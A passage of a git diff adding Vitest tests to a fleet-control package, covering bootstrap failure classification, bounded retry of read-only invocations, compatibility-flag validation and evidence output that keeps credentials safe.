=> { url.searchParams.has('page') ? [] : [ - { id: 'parent', name: 'test', account: { id: ACCOUNT } }, + { + id: 'parent', + name: 'test', + type: 'full', + account: { id: ACCOUNT }, + }, { id: 'zone', name: 'example.test', + type: 'full', account: { id: ACCOUNT }, }, ], @@ -836,6 +953,7 @@ describeLinux('SDK direct bootstrap', () => { { id: `zone-${page}`, name: `zone-${page}.test`, + type: 'full', account: { id: ACCOUNT }, }, ]); @@ -845,6 +963,34 @@ describeLinux('SDK direct bootstrap', () => { expect(f.journal.snapshot().bootstrap).toBeNull(); }, 15_000); + it.each([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + ] as const)('classifies bootstrap mutation %s with one request and one pending intent', async (detail) => { + const f = await fixture(); + f.setHook((request, url) => { + if (request.method !== 'POST' || !url.pathname.endsWith('/d1/database')) + return; + if (detail === 'transport-failure') + throw new Error('synthetic transport failure'); + if (detail === 'platform-page') + return new Response('error code: 1104', { + status: 500, + headers: { 'content-type': 'text/plain' }, + }); + return json({ malformed: true }); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'outcome-unknown', + detail, + }); + expect( + f.requests.filter((request) => request.method === 'POST'), + ).toHaveLength(1); + expect(f.journal.snapshot().bootstrap?.pending).toBe('create-fleet-d1'); + }); + it('retains create intent after a lost response and never retries dispatch', async () => { const f = await fixture({ timeout: 30 }); f.setHook((request, url) => @@ -866,6 +1012,26 @@ describeLinux('SDK direct bootstrap', () => { expect(probes.generate).not.toHaveBeenCalled(); }); + it.each([ + false, + true, + ])('constructs the invocation client with only an explicit fetch injection: %s', async (injected) => { + const f = await fixture(); + vi.stubGlobal('fetch', f.fetchRequest); + const createClient = invocation.createDirectInvocationClient; + const construct = vi + .spyOn(invocation, 'createDirectInvocationClient') + .mockImplementation((options) => + createClient({ ...options, fetch: f.fetchRequest }), + ); + await f.run({ fetch: injected ? f.fetchRequest : undefined }); + expect(construct).toHaveBeenCalledTimes(1); + expect(construct.mock.calls[0]?.[0].fetch).toBe( + injected ? f.fetchRequest : undefined, + ); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + it('uploads original multipart bytes and fixed bindings, durably settles control-read, and resumes retained secrets', async () => { const f = await fixture(); vi.stubEnv('CLOUDFLARE_CUSTOM_HEADERS', 'Authorization: injected'); @@ -1296,6 +1462,93 @@ describeLinux('SDK direct bootstrap', () => { ).toHaveLength(1); }); + it.each([ + 'version', + 'settings', + ])('refuses bootstrap when %s runtime omits required compatibility_flags', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => { + const runtime = { ...f.runtime() }; + Reflect.deleteProperty(runtime, 'compatibility_flags'); + if ( + kind === 'version' && + url.pathname.endsWith(`/versions/${VERSION_ID}`) + ) + return json({ + id: VERSION_ID, + resources: { script_runtime: runtime, bindings: f.bindings() }, + }); + if (kind === 'settings' && url.pathname.endsWith('/settings')) + return json({ ...runtime, bindings: f.bindings() }); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.metadata?.compatibility_flags).toEqual([ + 'global_fetch_strictly_public', + ]); + expect(f.journal.snapshot().bootstrap).toMatchObject({ + upload: { scriptName: f.names.referenceWorker }, + active: null, + controlReadOrdinal: null, + }); + }); + + it.each([ + 'version', + 'settings', + ])('refuses explicit null version compatibility_flags for the %s runtime', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => { + const runtime = { ...f.runtime(), compatibility_flags: null }; + if ( + kind === 'version' && + url.pathname.endsWith(`/versions/${VERSION_ID}`) + ) + return json({ + id: VERSION_ID, + resources: { script_runtime: runtime, bindings: f.bindings() }, + }); + if (kind === 'settings' && url.pathname.endsWith('/settings')) + return json({ ...runtime, bindings: f.bindings() }); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.journal.snapshot().bootstrap).toMatchObject({ + upload: { scriptName: f.names.referenceWorker }, + active: null, + controlReadOrdinal: null, + }); + }); + + it('refuses absent version compatibility_flags when configuration declares flags', async () => { + const f = await fixture({ + compatibilityFlags: ['nodejs_compat', 'global_fetch_strictly_public'], + }); + f.setHook((_request, url) => { + if (!url.pathname.endsWith(`/versions/${VERSION_ID}`)) return; + const runtime = { ...f.runtime() }; + Reflect.deleteProperty(runtime, 'compatibility_flags'); + return json({ + id: VERSION_ID, + resources: { script_runtime: runtime, bindings: f.bindings() }, + }); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.metadata?.compatibility_flags).toEqual([ + 'nodejs_compat', + 'global_fetch_strictly_public', + ]); + expect(f.journal.snapshot().bootstrap).toMatchObject({ + upload: { scriptName: f.names.referenceWorker }, + active: null, + controlReadOrdinal: null, + }); + }); + it.each([ 'tag', 'traffic', @@ -1391,6 +1644,7 @@ describeLinux('SDK direct bootstrap', () => { return json({ id: 'foreign', name: 'example.test', + type: 'full', account: { id: ACCOUNT }, }); if ( @@ -1411,6 +1665,165 @@ describeLinux('SDK direct bootstrap', () => { expect(probes.generate).toHaveBeenCalledTimes(3); }); + it('re-delivers the bootstrap control-read after a platform 500 page on run and resume: two requests and one reservation per run', async () => { + const f = await fixture({ invocationTimeoutMs: 10_000 }); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const requests: string[] = []; + const fetchRequest: typeof fetch = async (input, init) => { + const request = new Request(input, init); + if ( + new URL(request.url).hostname.endsWith('.workers.dev') && + request.headers.has('authorization') + ) { + requests.push(await request.text()); + if (requests.length % 2 === 1) + return new Response('error code: 1104', { + status: 500, + headers: { 'content-type': 'text/plain' }, + }); + } + return f.fetchRequest(input, init); + }; + const first = f.run({ fetch: fetchRequest }); + await vi.waitFor(() => expect(requests).toHaveLength(1)); + await vi.advanceTimersByTimeAsync(2_000); + await first; + expect(requests).toHaveLength(2); + expect(requests[1]).toBe(requests[0]); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 1, + lastInvocation: { state: 'settled' }, + }); + await f.reopen(); + const resumed = f.run({ fetch: fetchRequest }); + await vi.waitFor(() => expect(requests).toHaveLength(3)); + await vi.advanceTimersByTimeAsync(2_000); + await resumed; + expect(requests).toHaveLength(4); + expect(requests[3]).toBe(requests[2]); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 2, + lastInvocation: { state: 'settled' }, + }); + }, 15_000); + + it('requires three consecutive exact refusals and restarts the count after a platform flap on run and resume', async () => { + const f = await fixture(); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const sleep = vi.fn(async (ms: number) => { + await vi.advanceTimersByTimeAsync(ms); + }); + vi.mocked(invocation.awaitReferenceIngress).mockImplementation((input) => + awaitReferenceIngress({ ...input, sleep }), + ); + const sequence: string[] = []; + const fetchRequest: typeof fetch = async (input, init) => { + const request = new Request(input, init); + if (new URL(request.url).hostname.endsWith('.workers.dev')) { + if (!request.headers.has('authorization')) { + expect(f.journal.snapshot().invocationCount).toBe( + sequence.includes('control-read') ? 1 : 0, + ); + expect(f.journal.snapshot().lastInvocation?.state).not.toBe( + 'pending', + ); + sequence.push('probe'); + if (sequence.length === 2) + return new Response('missing', { status: 404 }); + } else sequence.push('control-read'); + } + return f.fetchRequest(input, init); + }; + await f.run({ fetch: fetchRequest }); + expect(sequence).toEqual([ + 'probe', + 'probe', + 'probe', + 'probe', + 'probe', + 'control-read', + ]); + await f.reopen(); + await f.run({ fetch: fetchRequest }); + expect(sequence).toEqual([ + 'probe', + 'probe', + 'probe', + 'probe', + 'probe', + 'control-read', + 'probe', + 'probe', + 'probe', + 'control-read', + ]); + expect(f.journal.snapshot().invocationCount).toBe(2); + expect(sleep.mock.calls).toEqual(Array.from({ length: 6 }, () => [2_000])); + }); + + it('refuses provider-unavailable when the ingress deadline allows only two exact refusals', async () => { + const f = await fixture(); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + vi.mocked(invocation.awaitReferenceIngress).mockImplementation((input) => + awaitReferenceIngress({ + ...input, + deadlineMs: 4_000, + }), + ); + const probes: Request[] = []; + const fetchRequest: typeof fetch = async (input, init) => { + const request = new Request(input, init); + if (new URL(request.url).hostname.endsWith('.workers.dev')) + probes.push(request); + return f.fetchRequest(input, init); + }; + const result = f + .run({ fetch: fetchRequest }) + .catch((error: unknown) => error); + await vi.waitFor(() => expect(probes).toHaveLength(1)); + await vi.advanceTimersByTimeAsync(4_000); + await expect(result).resolves.toMatchObject({ + code: 'provider-unavailable', + }); + expect(probes).toHaveLength(2); + expect( + probes.every((request) => !request.headers.has('authorization')), + ).toBe(true); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 0, + lastInvocation: null, + }); + }); + + it('refuses an ingress readiness deadline with provider-unavailable and no invocation reserved', async () => { + const f = await fixture(); + let probes = 0; + const fetchRequest: typeof fetch = async (input, init) => { + const request = new Request(input, init); + if (new URL(request.url).hostname.endsWith('.workers.dev')) { + expect(request.headers.has('authorization')).toBe(false); + probes++; + const elapsed = performance.now() + 120_000; + vi.spyOn(performance, 'now').mockReturnValue(elapsed); + return new Response('missing', { status: 404 }); + } + return f.fetchRequest(input, init); + }; + await expect(f.run({ fetch: fetchRequest })).rejects.toMatchObject({ + code: 'provider-unavailable', + message: 'provider-unavailable', + }); + expect(probes).toBe(1); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 0, + lastInvocation: null, + bootstrap: { + ingress: { enabled: true, previewsEnabled: false }, + controlReadOrdinal: null, + }, + }); + }); + it('spends the committed control-read budget and preserves known refusal settlement', async () => { const f = await fixture({ limit: 1 }); f.setHook((_request, url) => @@ -1426,8 +1839,10 @@ describeLinux('SDK direct bootstrap', () => { code: 'invocation-budget-exhausted', }); expect( - f.requests.filter((request) => - new URL(request.url).hostname.endsWith('.workers.dev'), + f.requests.filter( + (request) => + new URL(request.url).hostname.endsWith('.workers.dev') && + request.headers.has('authorization'), ), ).toHaveLength(1); }); diff --git a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts index 5104ccba..e6838346 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts @@ -262,15 +262,44 @@ describe('direct conformance configuration', () => { expect(() => validate(changed([target, 'compatibilityDate'], date)), ).toThrow(); - for (const flags of [['unknown'], ['nodejs_compat', 'nodejs_compat'], null]) + for (const flags of [ + ['unknown'], + ['nodejs_compat', 'nodejs_compat'], + ['global_fetch_strictly_public', 'global_fetch_strictly_public'], + ['global_fetch_strictly_public', 'nodejs_compat'], + [ + 'nodejs_compat', + 'global_fetch_strictly_public', + 'global_fetch_strictly_public', + ], + null, + ]) expect(() => validate(changed([target, 'compatibilityFlags'], flags)), ).toThrow(); - expect( - validate(changed([target, 'compatibilityFlags'], ['nodejs_compat']))[ - target as 'referenceWorker' | 'deployment' - ].compatibilityFlags, - ).toEqual(['nodejs_compat']); + for (const flags of [ + [], + ['nodejs_compat'], + ['global_fetch_strictly_public'], + ['nodejs_compat', 'global_fetch_strictly_public'], + ]) { + const raw = changed([target, 'compatibilityFlags'], flags); + if ( + target === 'referenceWorker' && + !flags.includes('global_fetch_strictly_public') + ) { + expect(() => validate(raw)).toThrow( + 'direct conformance config has invalid referenceWorker.compatibilityFlags', + ); + } else { + const result = + validate(raw)[target as 'referenceWorker' | 'deployment']; + expect(result.compatibilityFlags).toEqual(flags); + expect(Object.isFrozen(result.compatibilityFlags)).toBe(true); + flags.push('unknown'); + expect(result.compatibilityFlags).not.toContain('unknown'); + } + } const leap = changed([target, 'compatibilityDate'], '2028-02-29'); expect(() => validateDirectConformanceConfig(leap, { diff --git a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts index 75ed5f32..1fa4519b 100644 --- a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts +++ b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts @@ -7,6 +7,7 @@ import { join } from 'node:path'; import { fileURLToPath } from 'node:url'; import { runInNewContext } from 'node:vm'; import { afterEach, describe, expect, it, vi } from 'vitest'; +import { DirectBootstrapError } from '../scripts/direct-credentialed-bootstrap.mjs'; import { DIRECT_CONFORMANCE_USAGE, DIRECT_FIXED_OUTPUT, @@ -1147,6 +1148,60 @@ process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.string expect(w.modules.teardown).toHaveBeenCalledOnce(); }); + it.each([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', + ] as const)('prints bootstrap-time outcome-unknown detail %s', async (detail) => { + const w = await world(); + w.modules.bootstrap.mockRejectedValue( + new DirectBootstrapError('outcome-unknown', detail), + ); + const result = await w.run('run'); + expect(result.exitCode).toBe(1); + expect(result.summary).toMatchObject({ + code: 'outcome-unknown', + detail, + scenario: null, + }); + expect(result.stdoutLine).toContain(JSON.stringify(detail)); + expectCredentialSafeOutput(result); + }); + + it.each([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', + ] as const)('prints pending scenario failure detail %s without journal settlement', async (detail) => { + const w = await world(); + const scenario = completeScenario(); + const pending = { + ordinal: 1, + action: { kind: 'control-read' as const }, + state: 'pending' as const, + requestSha256: 'a'.repeat(64), + }; + w.modules.scenario.mockImplementation(async () => { + w.set({ invocationCount: 1, lastInvocation: pending, scenario }); + return { + status: 'failed', + reason: 'outcome-unknown', + detail, + phase: scenario.phase, + invocationCount: 1, + }; + }); + const result = await w.run('run'); + expect(result.summary).toMatchObject({ + scenario: { failure: { code: 'outcome-unknown', ordinal: 1, detail } }, + }); + expect(w.snapshot().lastInvocation).toEqual(pending); + expect(w.snapshot().scenario?.failure).toBeNull(); + expectCredentialSafeOutput(result); + }); + it('uses inspection on outcome-unknown without recording a resume', async () => { const w = await world(); w.modules.openRunState.mockRejectedValue( diff --git a/packages/fleet-control/test/direct-credentialed-evidence.test.ts b/packages/fleet-control/test/direct-credentialed-evidence.test.ts index b13913c5..471289af 100644 --- a/packages/fleet-control/test/direct-credentialed-evidence.test.ts +++ b/packages/fleet-control/test/direct-credentialed-evidence.test.ts @@ -216,6 +216,82 @@ describe.sequential('direct evidence', () => { ]); }); + it.each([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', + ] as const)('admits invocation failure detail %s in evidence', async (detail) => { + const { f, snapshot } = await evidenceFixture(); + const scenario = maximalScenario(); + scenario.failure = { code: 'outcome-unknown', ordinal: 1, detail }; + const evidence = buildDirectEvidence({ + snapshot: { ...snapshot, scenario }, + prepared: f.prepared, + mode: 'run', + outcome: { status: 'failed', exitCode: 1, teardownCall: null }, + times: { finishedAt: '2026-09-13T00:00:00.000Z' }, + commit: null, + }); + expect(object(evidence.scenario).failure).toEqual(scenario.failure); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: true }); + }); + + it.each([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', + ] as const)('projects pending invocation detail %s without changing the journal snapshot', async (detail) => { + const { f, snapshot } = await evidenceFixture(); + const scenario = maximalScenario(); + scenario.failure = null; + const pending = { + ...snapshot, + scenario, + lastInvocation: { + ordinal: snapshot.invocationCount, + action: { kind: 'control-read' as const }, + state: 'pending' as const, + requestSha256: 'a'.repeat(64), + }, + }; + const before = structuredClone(pending); + const input = { + snapshot: pending, + prepared: f.prepared, + mode: 'run' as const, + outcome: { status: 'failed' as const, exitCode: 1, teardownCall: null }, + times: { finishedAt: '2026-09-13T00:00:00.000Z' }, + commit: null, + }; + expect( + object( + buildDirectEvidence({ ...input, invocationFailureDetail: detail }) + .scenario, + ).failure, + ).toEqual({ + code: 'outcome-unknown', + ordinal: pending.lastInvocation.ordinal, + detail, + }); + expect( + object( + buildDirectEvidence({ + ...input, + invocationFailureDetail: 'raw-provider-error' as typeof detail, + }).scenario, + ).failure, + ).toBeNull(); + expect(pending).toEqual(before); + }); + it('preserves null observations, absent proofs and failure detail', async () => { const { f, snapshot } = await evidenceFixture(); const scenario = maximalScenario(); diff --git a/packages/fleet-control/test/direct-credentialed-invocation.test.ts b/packages/fleet-control/test/direct-credentialed-invocation.test.ts index 79af6af0..b384d3dc 100644 --- a/packages/fleet-control/test/direct-credentialed-invocation.test.ts +++ b/packages/fleet-control/test/direct-credentialed-invocation.test.ts @@ -2,12 +2,16 @@ import { createHash } from 'node:crypto'; import { mkdtemp, open, readFile, rm, writeFile } from 'node:fs/promises'; +import http from 'node:http'; +import https from 'node:https'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; import { afterEach, describe, expect, it, vi } from 'vitest'; import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; import { + awaitReferenceIngress, createDirectInvocationClient, + DIRECT_INVOCATION_FAILURE_DETAILS, DirectInvocationError, } from '../scripts/direct-credentialed-invocation.mjs'; import { @@ -24,6 +28,7 @@ const SECRET = 'invocation-secret-sentinel'; const CLAIM = 'opaque-claim-sentinel'; const directories: string[] = []; const journals = new Set(); +const servers = new Set(); const hash = (value: string) => createHash('sha256').update(value).digest('hex'); const attempts = { provider: 1, maintenance: 2, application: 3 }; @@ -106,10 +111,33 @@ async function disk(journal: DirectRunJournal) { return readFile(join(journal.directory, 'journal.json'), 'utf8'); } +async function localReference(listener: http.RequestListener) { + const server = http.createServer(listener); + servers.add(server); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + const address = server.address(); + if (!address || typeof address === 'string') + throw new Error('Local reference address absent'); + return vi.spyOn(https, 'request').mockImplementation((url, options, cb) => { + const target = new URL(String(url)); + expect(target.protocol).toBe('https:'); + expect(target.pathname).toBe(DIRECT_REFERENCE_PATH); + return http.request( + `http://127.0.0.1:${address.port}${target.pathname}`, + options, + cb, + ); + }); +} + async function expectUnknown( f: Awaited>, fetchRequest: typeof fetch, - action: DirectReferenceAction = { kind: 'control-read' }, + action: DirectReferenceAction = { + kind: 'provision', + role: 'a', + release: 'initial', + }, ) { const fetchMock = vi.fn(fetchRequest); const client = createDirectInvocationClient({ @@ -137,6 +165,18 @@ async function expectUnknown( afterEach(async () => { vi.restoreAllMocks(); + vi.unstubAllGlobals(); + vi.useRealTimers(); + await Promise.all( + [...servers].map( + (server) => + new Promise((resolve, reject) => { + server.closeAllConnections(); + server.close((error) => (error ? reject(error) : resolve())); + }), + ), + ); + servers.clear(); try { await Promise.all([...journals].map((journal) => journal.close())); } finally { @@ -152,7 +192,819 @@ afterEach(async () => { const describeLinux = process.platform === 'linux' ? describe.sequential : describe.skip; +function ingressRefusal() { + return Response.json( + { contractVersion: 1, ok: false, error: { code: 'unauthorized' } }, + { + status: 401, + headers: { 'Cache-Control': 'no-store', 'WWW-Authenticate': 'Bearer' }, + }, + ); +} + describeLinux('Node authenticated direct invocation', () => { + it.each([ + 'an unmarked platform 500 page', + 'a thrown fetch', + 'a fetch timeout', + 'a non-contract 200 media type', + 'a non-contract 200 cache header', + 'a malformed contract body', + 'invalid attempt counts', + ])('re-sends a read-only action after %s within the delivery window: two requests, one reservation', async (kind) => { + const f = await fixture(3, 10_000); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const reserveInvocation = vi.fn((body: string) => + f.journal.reserveInvocation(body), + ); + const fetchRequest = vi + .fn() + .mockImplementationOnce(async () => { + if (kind === 'a thrown fetch') throw new Error(SECRET); + if (kind === 'a fetch timeout') + throw new DOMException(SECRET, 'TimeoutError'); + if (kind === 'an unmarked platform 500 page') + return new Response('error code: 1104', { + status: 500, + headers: { 'content-type': 'text/plain' }, + }); + if (kind === 'a malformed contract body') + return f.response({ invalid: true }); + const response = f.response(); + if (kind === 'invalid attempt counts') + response.headers.delete('X-Direct-Provider-Attempts'); + else if (kind === 'a non-contract 200 cache header') + response.headers.delete('cache-control'); + else response.headers.set('content-type', 'text/html'); + return response; + }) + .mockImplementation(async () => f.response()); + const result = createDirectInvocationClient({ + ...f.options, + journal: { ...f.journal, reserveInvocation }, + fetch: fetchRequest, + }).invoke({ kind: 'control-read' }); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + await vi.advanceTimersByTimeAsync(2_000); + await expect(result).resolves.toEqual({ + result: { token: CLAIM }, + attempts, + }); + expect(fetchRequest).toHaveBeenCalledTimes(2); + expect(reserveInvocation).toHaveBeenCalledTimes(1); + expect(fetchRequest.mock.calls[1]).toEqual(fetchRequest.mock.calls[0]); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + + it.each( + DIRECT_INVOCATION_FAILURE_DETAILS, + )('produces every listed outcome-unknown detail through the client: %s', async (detail) => { + const f = await fixture(3, 3_500); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const reserveInvocation = vi.fn((body: string) => + f.journal.reserveInvocation(body), + ); + const fetchRequest = vi.fn(async () => { + switch (detail) { + case 'platform-page': + return new Response('error code: 1104', { + status: 500, + headers: { 'content-type': 'text/plain' }, + }); + case 'transport-failure': + case 'delivery-window-expired': + throw new Error(SECRET); + case 'non-contract-answer': + return f.response({ invalid: true }); + default: + throw new Error(`Missing client failure case: ${detail}`); + } + }); + const result = createDirectInvocationClient({ + ...f.options, + journal: { ...f.journal, reserveInvocation }, + fetch: fetchRequest, + }).invoke( + detail === 'delivery-window-expired' + ? { kind: 'control-read' } + : { kind: 'provision', role: 'a', release: 'initial' }, + ); + const refused = expect(result).rejects.toMatchObject({ + code: 'outcome-unknown', + detail, + }); + if (detail === 'delivery-window-expired') { + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + await vi.advanceTimersByTimeAsync(3_500); + } + await refused; + expect(fetchRequest).toHaveBeenCalledTimes( + detail === 'delivery-window-expired' ? 2 : 1, + ); + expect(reserveInvocation).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + }); + + it.each([ + 3_500, 600_000, + ])('bounds read-only re-delivery by the delivery window: ceil(min(120000, %i)/2000) requests, one reservation', async (timeoutMs) => { + const f = await fixture(3, timeoutMs); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const reserveInvocation = vi.fn((body: string) => + f.journal.reserveInvocation(body), + ); + let startedAt = 0; + const fetchRequest = vi.fn(async () => { + if (fetchRequest.mock.calls.length === 1) startedAt = performance.now(); + return new Response('error code: 1104', { + status: 500, + headers: { 'content-type': 'text/plain' }, + }); + }); + const result = createDirectInvocationClient({ + ...f.options, + journal: { ...f.journal, reserveInvocation }, + fetch: fetchRequest, + }) + .invoke({ kind: 'control-read' }) + .catch((error: unknown) => error); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + const windowMs = Math.min(120_000, timeoutMs); + await vi.advanceTimersByTimeAsync( + windowMs - (performance.now() - startedAt), + ); + await expect(result).resolves.toMatchObject({ + code: 'outcome-unknown', + detail: 'delivery-window-expired', + }); + expect(fetchRequest).toHaveBeenCalledTimes(Math.ceil(windowMs / 2_000)); + expect(reserveInvocation).toHaveBeenCalledTimes(1); + for (const call of fetchRequest.mock.calls) + expect(call).toEqual(fetchRequest.mock.calls[0]); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + }); + + it('stops re-delivering a read-only action at the delivery window without a final send', async () => { + const f = await fixture(3, 3_500); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const deliveries: number[] = []; + let startedAt = 0; + const fetchRequest = vi.fn(async () => { + if (deliveries.length === 0) startedAt = performance.now(); + deliveries.push(performance.now()); + throw new Error('synthetic transport failure'); + }); + const result = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }) + .invoke({ kind: 'control-read' }) + .catch((error: unknown) => error); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + await vi.advanceTimersByTimeAsync(3_499 - (performance.now() - startedAt)); + expect(deliveries.map((time) => time - startedAt)).toEqual([0, 2_000]); + expect(vi.getTimerCount()).toBe(1); + await vi.advanceTimersByTimeAsync(1); + await expect(result).resolves.toMatchObject({ + code: 'outcome-unknown', + detail: 'delivery-window-expired', + }); + expect(fetchRequest).toHaveBeenCalledTimes(2); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 1, + lastInvocation: { state: 'pending' }, + }); + }); + + it.each([ + { kind: 'inventory-read', slot: 'inventory-before' }, + { kind: 'audit-page', slot: 'audit-before', limit: 1 }, + { kind: 'migration-page', limit: 1 }, + { kind: 'cleanup-receipt', role: 'a' }, + { kind: 'decommission-export', role: 'a' }, + { kind: 'tenant-probe', role: 'a', operation: 'health' }, + { kind: 'tenant-probe', role: 'a', operation: 'object-read' }, + { kind: 'tenant-fence', role: 'a', operation: 'read' }, + { kind: 'tenant-fence', role: 'a', operation: 'inventory' }, + ] as const)('re-delivers read-only $kind/$operation: two requests, one reservation', async (action) => { + const f = await fixture(3, 10_000); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const reserveInvocation = vi.fn((body: string) => + f.journal.reserveInvocation(body), + ); + const fetchRequest = vi + .fn() + .mockRejectedValueOnce(new Error(SECRET)) + .mockImplementation(async () => f.response(f.success(action.kind))); + const result = createDirectInvocationClient({ + ...f.options, + journal: { ...f.journal, reserveInvocation }, + fetch: fetchRequest, + }).invoke(action); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + await vi.advanceTimersByTimeAsync(2_000); + await expect(result).resolves.toMatchObject({ attempts }); + expect(fetchRequest).toHaveBeenCalledTimes(2); + expect(reserveInvocation).toHaveBeenCalledTimes(1); + }); + + it.each([ + { kind: 'force-observe' }, + { kind: 'tenant-probe', role: 'a', operation: 'object-put' }, + { kind: 'tenant-probe', role: 'a', operation: 'object-delete' }, + { kind: 'tenant-fence', role: 'a', operation: 'mutate-current' }, + { kind: 'decommission-continue', role: 'a' }, + ] as const)('keeps journal or provider mutation $kind/$operation unknown: one request, one reservation', async (action) => { + const f = await fixture(); + await expectUnknown( + f, + async () => new Response('error code: 1104', { status: 500 }), + action, + ); + }); + + it.each( + DIRECT_INVOCATION_FAILURE_DETAILS, + )('constructs outcome-unknown with a listed detail and drops an unlisted one: %s', (detail) => { + expect( + new DirectInvocationError( + 'outcome-unknown', + undefined, + undefined, + detail, + ), + ).toMatchObject({ code: 'outcome-unknown', detail }); + expect( + new DirectInvocationError( + 'outcome-unknown', + undefined, + undefined, + SECRET as typeof detail, + ).detail, + ).toBeUndefined(); + }); + + it.each([ + 'text/plain; charset=UTF-8', + 'text/html', + ])('retries a platform 404 %s with one reservation and identical request bytes', async (contentType) => { + const f = await fixture(3, 10_000); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const reserveInvocation = vi.fn((body: string) => + f.journal.reserveInvocation(body), + ); + const cancel = vi.fn(); + const page = new Response(new ReadableStream({ cancel }), { + status: 404, + headers: { 'content-type': contentType }, + }); + const fetchRequest = vi + .fn() + .mockResolvedValueOnce(page) + .mockImplementation(async () => f.response()); + const client = createDirectInvocationClient({ + ...f.options, + journal: { ...f.journal, reserveInvocation }, + fetch: fetchRequest, + }); + const result = client.invoke({ kind: 'control-read' }); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + expect(cancel).toHaveBeenCalledTimes(1); + await vi.advanceTimersByTimeAsync(2_000); + await expect(result).resolves.toEqual({ + result: { token: CLAIM }, + attempts, + }); + expect(reserveInvocation).toHaveBeenCalledTimes(1); + expect(fetchRequest).toHaveBeenCalledTimes(2); + expect(fetchRequest.mock.calls[1]).toEqual(fetchRequest.mock.calls[0]); + expect(fetchRequest.mock.calls[1]?.[1]?.body).toBe( + reserveInvocation.mock.calls[0]?.[0], + ); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 1, + lastInvocation: { state: 'settled' }, + }); + }); + + it.each([ + 600_000, 3_500, + ])('leaves one reservation pending when platform 404s exhaust the delivery window within a %i ms invocation', async (timeoutMs) => { + const f = await fixture(3, timeoutMs); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + let startedAt = 0; + const fetchRequest = vi.fn(async () => { + if (fetchRequest.mock.calls.length === 1) startedAt = performance.now(); + return new Response('unavailable', { + status: 404, + headers: { 'content-type': 'text/plain' }, + }); + }); + const client = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }); + let settled = false; + const result = client + .invoke({ kind: 'control-read' }) + .catch((error: unknown) => { + settled = true; + return error; + }); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + const windowMs = Math.min(120_000, timeoutMs); + await vi.advanceTimersByTimeAsync( + windowMs - (performance.now() - startedAt) - 1, + ); + expect(settled).toBe(false); + await vi.advanceTimersByTimeAsync(1); + await expect(result).resolves.toMatchObject({ code: 'outcome-unknown' }); + expect(fetchRequest).toHaveBeenCalledTimes(Math.ceil(windowMs / 2_000)); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 1, + lastInvocation: { state: 'pending' }, + }); + await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject( + { code: 'outcome-unknown' }, + ); + await closed(f.journal); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + }); + + it('bounds a stalled re-delivery by the first attempt delivery window', async () => { + const f = await fixture(3, 600_000); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + let startedAt = 0; + const fetchRequest = vi.fn(async () => { + if 